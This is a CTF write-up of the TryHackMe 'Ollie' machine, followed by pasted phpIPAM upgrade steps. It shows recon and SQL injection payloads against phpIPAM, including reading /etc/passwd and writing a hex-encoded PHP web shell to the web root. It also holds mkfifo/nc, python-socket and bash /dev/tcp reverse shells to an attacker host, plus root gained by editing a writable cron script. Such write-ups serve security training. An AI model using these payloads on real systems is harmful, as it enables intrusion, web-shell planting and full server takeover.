Ollie – Write Up


Ollie - Write Up


Hey! Welcome back to another TryHackMe machine!

Today we are pwning another 0day machine!

As in every machine, we start with the reconn phase!

╰─ map                                                                          ─╯
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( ) at 2022-04-09 12:59 CEST
Nmap scan report for
Host is up (0.76s latency).
Not shown: 37078 filtered tcp ports (no-response), 28454 closed tcp ports (reset)
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_  256 14:82:ca:bb:04:e5:01:83:9c:d6:54:e9:d1:fa:c4:82 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
1337/tcp open  waste?
| fingerprint-strings:
|   GenericLines:
|     Hey stranger, I'm Ollie, protector of panels, lover of deer antlers.
|     What is your name? What's up,
|     It's been a while. What are you here for?
|   GetRequest:
|     Hey stranger, I'm Ollie, protector of panels, lover of deer antlers.
|     What is your name? What's up, Get / http/1.0
|     It's been a while. What are you here for?
|   NULL:
|     Hey stranger, I'm Ollie, protector of panels, lover of deer antlers.
|_    What is your name?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 284.81 seconds

gobuster lead to db to nowhere

└──╼ $gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -e -k -b 404 -u
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Expanded: true
[+] Timeout: 10s
2022/07/08 09:39:09 Starting gobuster in directory enumeration mode
=============================================================== (Status: 403) [Size: 277] (Status: 403) [Size: 277] (Status: 403) [Size: 277] (Status: 301) [Size: 310] [-->] (Status: 301) [Size: 310] [-->]] (Status: 301) [Size: 309] [-->]

There’s an strange service running on port 1337 (Leet :D). It’s a common port used in CTFs and by pentesters as it’s making a reference to Leet speak

Let’s use nc to connect to this port…

╰─ nc 1337                                                                    ─╯
Hey stranger, I'm Ollie, protector of panels, lover of deer antlers.

What is your name? ollie
What's up, Ollie! It's been a while. What are you here for? exploit
Ya' know what? Ollie. If you can answer a question about me, I might have something for you.

What breed of dog am I? I'll make it a multiple choice question to keep it easy: Bulldog, Husky, Duck or Wolf? bulldog
You are correct! Let me confer with my trusted colleagues; Benny, Baxter and Connie...
Please hold on a minute
Ok, I'm back.
After a lengthy discussion, we've come to the conclusion that you are the right person for the job.Here are the credentials for our administration panel.

                    Username: admin

                    Password: [REDACTED]

PS: Good luck and next time bring some treats!
Wow! Seems like Ollie just gave us his administrator panel credentials!

Let’s login!

Foothold – User

So after a (long) reconnaissance phase, we found that the platform running is phpIPAM IP address management [v1.4.5]

The issue here is that there is an exploit for the older version (1.4.4) of this software where they claim that this issue was fixed in the latest version…


Spoiler: seems like it’s not

Here is the exploit POC we used as a guide:

Basically we need to make a search when mapping a new subnet, to exploit an SQL Injection.


This is the exploit used to test if it is vulnerable or not:

" union select @@version,2,user(),4 -- -


" union select user(),1,1,load_file('/etc/passwd') --

We used it here and got this output:user_version

As you can see, we can exploit an SQLI here, and we have the version and user running the DB

8.0.28-0ubuntu0.20.04.3/phpipam_ollie@localhost (4)

Cool! Let’s do more manual reconnaissance within the database, let’s see if our user phpipam_ollie is able to write a file!

privsExploit used: " union all select 1,2,3,group_concat(user,0x3a,file_priv) from mysql.user -- -


Yes! The user is able to write files!!

So to exploit this, we encoded a simple PHP payload to HEX:

<?php system($_GET["cmd"]); ?>

And added it to our exploit:

" Union Select 1,0x201c3c3f7068702073797374656d28245f4745545b2018636d6420195d293b203f3e201d,3,4 INTO OUTFILE '/var/www/html/shell.php' -- -


We got an error, but let’s see if it was uploaded…

╰─ curl\?cmd\=whoami                                             ─╯
1	 www-data
 	3	4
Yes! We now escalated from SQLI to RCE!

Let’s establish a reverse shell connection, and start the reconn phase again to get root!

[Terminal 1]
╰─ curl\?cmd\=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.9.0.244%201337%20%3E%2Ftmp%2Ff


[Terminal 2]
╰─ nc -nlvp 1337                                                                                ─╯
listening on [any] 1337 ...
connect to [] from (UNKNOWN) [] 43490
sh: 0: can't access tty; job control turned off
$ id; whoami; pwd; hostname
uid=33(www-data) gid=33(www-data) groups=33(www-data)
We are in! But we can not read the user flag, since Ollie is the owner, and we are running as www-data.

Let’s try the easiest way to escalate privileges: Password Reuse attack!

www-data@hackerdog:/var$ su ollie
ollie@hackerdog:/var$ cat /home/ollie/user.txt

It worked! Ollie uses the same password for the server and Administration panel!


To make out our way to root, we need to enumerate the machine once again, we used LinPeas but nothing caught our attention, but we used pspy64

ollie@hackerdog:/tmp$ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855

     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░
                   ░           ░ ░
                               ░ ░

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
2022/04/09 12:29:51 CMD: UID=0    PID=97     |
2022/04/09 12:29:51 CMD: UID=0    PID=96     |
2022/04/09 12:29:51 CMD: UID=0    PID=959    | /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
2022/04/09 12:29:51 CMD: UID=113  PID=950    | /usr/sbin/mysqld
2022/04/09 12:30:03 CMD: UID=0    PID=4253   | /lib/systemd/systemd-udevd
2022/04/09 12:30:03 CMD: UID=0    PID=4252   | /lib/systemd/systemd-udevd
2022/04/09 12:30:03 CMD: UID=0    PID=4251   | /lib/systemd/systemd-udevd
2022/04/09 12:30:03 CMD: UID=0    PID=4250   | /lib/systemd/systemd-udevd
2022/04/09 12:30:03 CMD: UID=0    PID=4259   | /lib/systemd/systemd-udevd
2022/04/09 12:30:03 CMD: UID=0    PID=4261   | /bin/bash /usr/bin/feedme    <------
2022/04/09 12:30:03 CMD: UID=0    PID=4262   | /bin/bash /usr/bin/feedme	<------
And as you can see, there’s a strange binary being executed as root (UID=0) with some cron job or something like that

Let’s see what’s up with it…

python3 -c 'import pty;pty.spawn("bash")'
stty raw -echo; fg 
  reset Terminal Type? screen
export TERM=xterm-256color

ollie@hackerdog:/tmp$ ls -la /usr/bin/feedme
-rwxrw-r-- 1 root ollie 180 Apr  9 12:20 /usr/bin/feedme
ollie@hackerdog:/tmp$ cat /usr/bin/feedme

# This is weird?
Yeah, it is weird!

Seems like a binary owned by root, but the with the group of ollie and we have read and write permissions!

Let’s add an exploit to it, so we can have a reverse shell connection as root!

ollie@hackerdog:~$ vim /usr/bin/feedme

# This is weird?
/bin/bash -i >& /dev/tcp/ 0>&1
"/usr/bin/feedme" 3L, 81C written
ollie@hackerdog:/var/www/html$ echo "bash -i >& /dev/tcp/ 0>&1" >> /usr/bin/feedme
<>& /dev/tcp/ 0>&1" >> /usr/bin/feedme

Let’s set up the listener and wait for the connection!

└──╼ $nc -nlvp 1338
listening on [any] 1338 ...
connect to [] from (UNKNOWN) [] 51578
bash: cannot set terminal process group (4090): Inappropriate ioctl for device
bash: no job control in this shell
root@hackerdog:~# id; whoami; hostname; cat /root/root.txt
id; whoami; hostname; cat /root/root.txt
uid=0(root) gid=0(root) groups=0(root)

That’s all

Beyond ROOT

why we are able to save files ( non default mysql setting )

root@hackerdog:/etc/mysql/mysql.conf.d# cat mysqld.cnf
cat mysqld.cnf
# The MySQL database server configuration file.
# Here is entries for some specific programs
# The following values assume you have at least 32M ram

# * Basic Settings
user = mysql
# pid-file = /var/run/mysqld/
# socket = /var/run/mysqld/mysqld.sock
# port = 3306
# datadir = /var/lib/mysql



└──╼ $ssh root@
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-99-generic x86_64)

* Documentation:
* Management:
* Support:

System information as of Thu 07 Jul 2022 12:53:52 PM UTC

System load: 0.0 Processes: 151
Usage of /: 64.2% of 9.78GB Users logged in: 0
Memory usage: 37% IPv4 address for docker0:
Swap usage: 0% IPv4 address for eth0:

6 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sat Feb 12 15:49:15 2022
root@hackerdog:~# docker image list
olliebot latest 3bb28301dbba 4 months ago 48.4MB
root@hackerdog:~# crontab -l
no crontab for root
root@hackerdog:~# crontab -l -u ollie
no crontab for ollie

Other ways:

└──╼ $python3 -url -usr admin -pwd O[redacted]y! -cmd id

█▀█ █░█ █▀█ █ █▀█ ▄▀█ █▀▄▀█ ▄█ ░ █░█ ░ █▀ █▀ █▀█ █░░ █ ▀█▀ █▀█ █▀█ █▀▀ █▀▀
█▀▀ █▀█ █▀▀ █ █▀▀ █▀█ █░▀░█ ░█ ▄ ▀▀█ ▄ ▄█ ▄█ ▀▀█ █▄▄ █ ░█░ █▄█ █▀▄ █▄▄ ██▄

█▄▄ █▄█ █▄▄ █▀▀ █░█ █ █▄░█ █▀▄ █▄█ █▀ █▀▀ █▀▀
█▄█ ░█░ █▄█ ██▄ █▀█ █ █░▀█ █▄▀ ░█░ ▄█ ██▄ █▄▄

[...] Trying to log in as admin
[+] Login successful!
[...] Exploiting
[+] Success! The shell is located at Parameter: cmd

[+] Output:
1 uid=33(www-data) gid=33(www-data) groups=33(www-data)
3 4





└──╼ $cat request.txt 
POST /app/admin/routing/edit-bgp-mapping-search.php HTTP/1.1
Content-Length: 68
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: phpipam=oqrblblmjlutf187oee7dh63q8; table-page-size=50
Connection: close




└──╼ $sqlmap -r request.txt --file-write=rev.php --file-dest=/var/www/html/rev.php --batch
___ ___[,]_____ ___ ___ {1.6.4#stable}
|_ -| . ['] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_|

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 08:29:48 /2022-07-08/

[08:29:48] [INFO] parsing HTTP request from 'request.txt'
[08:29:48] [INFO] testing connection to the target URL
[08:29:48] [INFO] testing if the target URL content is stable
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
[08:29:48] [INFO] target URL content is stable
[08:29:48] [INFO] testing if POST parameter 'subnet' is dynamic
[08:29:48] [WARNING] POST parameter 'subnet' does not appear to be dynamic
[08:29:48] [INFO] heuristic (basic) test shows that POST parameter 'subnet' might be injectable (possible DBMS: 'MySQL')
[08:29:49] [INFO] testing for SQL injection on POST parameter 'subnet'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[08:29:49] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[08:29:49] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[08:29:49] [INFO] testing 'Generic inline queries'
[08:29:49] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[08:29:50] [WARNING] reflective value(s) found and filtering out
[08:29:51] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[08:29:52] [INFO] POST parameter 'subnet' appears to be 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' injectable (with --string=" (Business customers)")
[08:29:52] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[08:29:52] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[08:29:52] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[08:29:52] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[08:29:52] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[08:29:52] [INFO] POST parameter 'subnet' is 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' injectable 
[08:29:52] [INFO] testing 'MySQL inline queries'
[08:29:52] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[08:30:02] [INFO] POST parameter 'subnet' appears to be 'MySQL >= 5.0.12 stacked queries (comment)' injectable 
[08:30:02] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[08:30:12] [INFO] POST parameter 'subnet' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[08:30:12] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[08:30:12] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[08:30:12] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[08:30:12] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[08:30:13] [INFO] target URL appears to have 4 columns in query
[08:30:13] [INFO] POST parameter 'subnet' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
[08:30:13] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
POST parameter 'subnet' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 87 HTTP(s) requests:
Parameter: subnet (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: subnet=-9472" OR 7217=7217#&bgp_id=2

Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: subnet=test" AND GTID_SUBSET(CONCAT(0x7171627671,(SELECT (ELT(8609=8609,1))),0x717a6a7171),8609)-- Nngn&bgp_id=2

Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: subnet=test";SELECT SLEEP(5)#&bgp_id=2

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: subnet=test" AND (SELECT 8032 FROM (SELECT(SLEEP(5)))UEUE)-- bIqT&bgp_id=2

Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: subnet=test" UNION ALL SELECT NULL,NULL,CONCAT(0x7171627671,0x65704e6267576745697a41717a445a68676d5a6c6b75754f5944637376545a6f6175457155686d74,0x717a6a7171),NULL#&bgp_id=2
[08:30:13] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 20.04 or 19.10 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.6
[08:30:13] [INFO] fingerprinting the back-end DBMS operating system
[08:30:13] [INFO] the back-end DBMS operating system is Linux
[08:30:14] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want confirmation that the local file 'rev.php' has been successfully written on the back-end DBMS file system ('/var/www/html/rev.php')? [Y/n] Y
[08:30:14] [INFO] the local file 'rev.php' and the remote file '/var/www/html/rev.php' have the same size (32 B)
[08:30:14] [INFO] fetched data logged to text files under '/home/puck/.local/share/sqlmap/output/'

[*] ending @ 08:30:14 /2022-07-08/



└──╼ $curl
uid=33(www-data) gid=33(www-data) groups=33(www-data)

└──╼ $


direct shell from browser

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);',subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.9.1.91%22,9001));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);[%22/bin/sh%22,%22-i%22]);%27

└──╼ $nc -nlvp 9001
listening on [any] 9001 ...
connect to [] from (UNKNOWN) [] 47654
/bin/sh: 0: can't access tty; job control turned off
$ hostname


└──╼ $curl,pty,stderr,setsid,sigint,sane%20tcp:


└──╼ $socat file:`tty`,raw,echo=0 TCP-L:4242

Upgrading phpipam

In general upgrading phpipam is a process that contains 3 separate steps:

  • Backup database and config.php file
  • Upgrade phpIPAM code
  • Upgrade phpIPAM database
Before you make an upgrade make sure you backup your SQL database

1.) Create backup

Database part is separated from code, so in case you have a backup SQL file from old installation you can always restore if anything goes wrong in process. Before you make an upgrade make sure you backup your SQL database doing following steps (adjust directories etc. according to your installation):

[root@ipam /]# cd /var/www/html/phpipam/
[root@ipam /var/www/phpipam]# mysqldump -u root -p phpipam > phpipam_migration_backup.db
* if you want to restore
root@ipam:/opt# mysql -u root -p phpipam < phpipam_migration_backup.db
Enter password:

Also backup config.php file containing settings for database connection to phpipam.

2.) Upgrade phpIPAM code

Simply extract new code and copy over old config.php file.

[root@ipam /]# cd /var/www/html
[root@ipam /var/www/html]# tar -tvf phpipam-v1.4.7.tgz
[root@ipam /var/www/html]# tar -xvf phpipam-v1.4.7.tgz
[root@ipam /var/www/html]# cp /backup/location/config.php /var/www

In case you use Git upgrade is even easier:

root@ipam /]# cd /var/www/phpipam
root@ipam /var/www/phpipam]# git pull
root@ipam /var/www/phpipam]# git checkout -b 1.5 origin/1.5
root@ipam /var/www/phpipam]# git submodule update --init --recursive

3.) Upgrade phpIPAM database

To upgrade your phpipam database to latest version 3 options are possible and presented in upgrade screen in browser:


a) Automatic database upgrade

Open browser and follow upgrade procedure.


b) Manualy query import

In case you have some problems you can manually import each SQL update statement directly to MySQL database. All upgrade queries are available in db/UPDATE.sql file, start from statement that contains version higher than current one you are using.


Restore old installation and database

In case anything goes wrong the restore procedure is simple:

  • Extract old code (from version you have prior to upgrade)
  • Copy over config.php
  • Load old database you backed up before starting upgrade (mysql -u root -p < db/bkp/phpipam_migration_backup.db)